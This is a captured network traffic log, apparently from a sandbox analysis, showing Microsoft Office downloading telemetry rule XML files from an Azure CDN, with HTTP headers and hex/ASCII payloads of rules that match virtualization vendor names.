2024-11-24 18:13:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181304Z-15b8b599d88cn5thhC1TEBqxkn00000004m000000000k7cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	56418	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:05 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 7a39f588-d01e-0014-712e-3ded58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181305Z-178bfbc474bvjk8shC1NYC83ns000000065000000000bb51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	56419	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:05 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:06 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181306Z-174c587ffdfp4vpjhC1TEBybqw00000004tg00000000a6sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:06 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	56420	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:06 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181306Z-178bfbc474bbbqrhhC1NYCvw7400000006k0000000001xs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	56421	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:06 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f5c58262-401e-00ac-04df-3d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181306Z-178bfbc474btrnf9hC1NYCb80g00000006eg00000000bwx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	56422	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:06 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:06 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181306Z-178bfbc474bbbqrhhC1NYCvw7400000006bg00000000musn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:06 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	56424	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:07 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181308Z-174c587ffdf7t49mhC1TEB4qbg00000004t0000000004ace x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	56425	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:08 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181308Z-174c587ffdfb74xqhC1TEBhabc00000004pg00000000qt8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	56426	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:08 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:08 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c9b33041-e01e-0033-176b-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181308Z-178bfbc474bbbqrhhC1NYCvw7400000006d000000000gamd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:08 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	56427	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:08 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181308Z-174c587ffdfcj798hC1TEB9bq400000004u000000000up98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	56428	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:08 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:08 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181308Z-15b8b599d88wk8w4hC1TEB14b800000004w0000000005zeq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:09 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	56429	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181310Z-15b8b599d889gj5whC1TEBfyk000000004p000000000733d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:10 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	56430	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
